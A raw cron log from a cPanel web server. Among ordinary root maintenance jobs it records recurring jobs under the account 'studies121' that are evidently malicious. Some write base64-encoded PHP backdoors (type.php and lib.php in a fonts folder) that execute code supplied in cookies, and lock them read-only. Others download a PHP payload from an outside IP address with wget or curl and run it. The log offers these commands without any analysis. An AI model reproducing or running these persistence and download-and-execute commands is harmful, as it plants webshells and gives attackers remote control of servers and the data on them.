Sep  9 16:16:01 ip-184-168-122-23 CROND[12595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:16:01 ip-184-168-122-23 CROND[12597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:16:01 ip-184-168-122-23 CROND[12598]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 16:17:01 ip-184-168-122-23 CROND[12684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:17:01 ip-184-168-122-23 CROND[12685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:17:01 ip-184-168-122-23 CROND[12686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:17:01 ip-184-168-122-23 CROND[12687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:18:01 ip-184-168-122-23 CROND[12780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:18:01 ip-184-168-122-23 CROND[12784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:18:01 ip-184-168-122-23 CROND[12783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:18:01 ip-184-168-122-23 CROND[12785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:18:01 ip-184-168-122-23 CROND[12782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:19:01 ip-184-168-122-23 CROND[12880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:19:01 ip-184-168-122-23 CROND[12879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:19:01 ip-184-168-122-23 CROND[12881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:19:01 ip-184-168-122-23 CROND[12882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:20:01 ip-184-168-122-23 CROND[12971]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:20:01 ip-184-168-122-23 CROND[12973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:20:01 ip-184-168-122-23 CROND[12976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:20:01 ip-184-168-122-23 CROND[12979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:20:01 ip-184-168-122-23 CROND[12980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:20:01 ip-184-168-122-23 CROND[12985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:20:01 ip-184-168-122-23 CROND[12982]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 16:20:01 ip-184-168-122-23 CROND[12984]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:20:01 ip-184-168-122-23 CROND[12983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:21:01 ip-184-168-122-23 CROND[13071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:21:01 ip-184-168-122-23 CROND[13074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:21:01 ip-184-168-122-23 CROND[13075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:21:01 ip-184-168-122-23 CROND[13073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:22:01 ip-184-168-122-23 CROND[13236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:22:01 ip-184-168-122-23 CROND[13237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:22:01 ip-184-168-122-23 CROND[13238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:22:01 ip-184-168-122-23 CROND[13239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:22:01 ip-184-168-122-23 CROND[13240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:23:01 ip-184-168-122-23 CROND[13323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:23:01 ip-184-168-122-23 CROND[13324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:23:01 ip-184-168-122-23 CROND[13326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:23:01 ip-184-168-122-23 CROND[13325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:24:01 ip-184-168-122-23 CROND[13417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:24:01 ip-184-168-122-23 CROND[13419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:24:01 ip-184-168-122-23 CROND[13421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:24:01 ip-184-168-122-23 CROND[13420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:24:01 ip-184-168-122-23 CROND[13423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:25:01 ip-184-168-122-23 CROND[13510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:25:01 ip-184-168-122-23 CROND[13512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:25:01 ip-184-168-122-23 CROND[13516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:25:01 ip-184-168-122-23 CROND[13515]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 16:25:01 ip-184-168-122-23 CROND[13514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:25:01 ip-184-168-122-23 CROND[13513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:25:01 ip-184-168-122-23 CROND[13517]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:26:01 ip-184-168-122-23 CROND[13602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:26:01 ip-184-168-122-23 CROND[13604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:26:01 ip-184-168-122-23 CROND[13606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:26:01 ip-184-168-122-23 CROND[13605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:26:01 ip-184-168-122-23 CROND[13607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:27:01 ip-184-168-122-23 CROND[13698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:27:01 ip-184-168-122-23 CROND[13699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:27:01 ip-184-168-122-23 CROND[13700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:27:01 ip-184-168-122-23 CROND[13701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:28:01 ip-184-168-122-23 CROND[13777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:28:01 ip-184-168-122-23 CROND[13779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:28:01 ip-184-168-122-23 CROND[13780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:28:01 ip-184-168-122-23 CROND[13781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
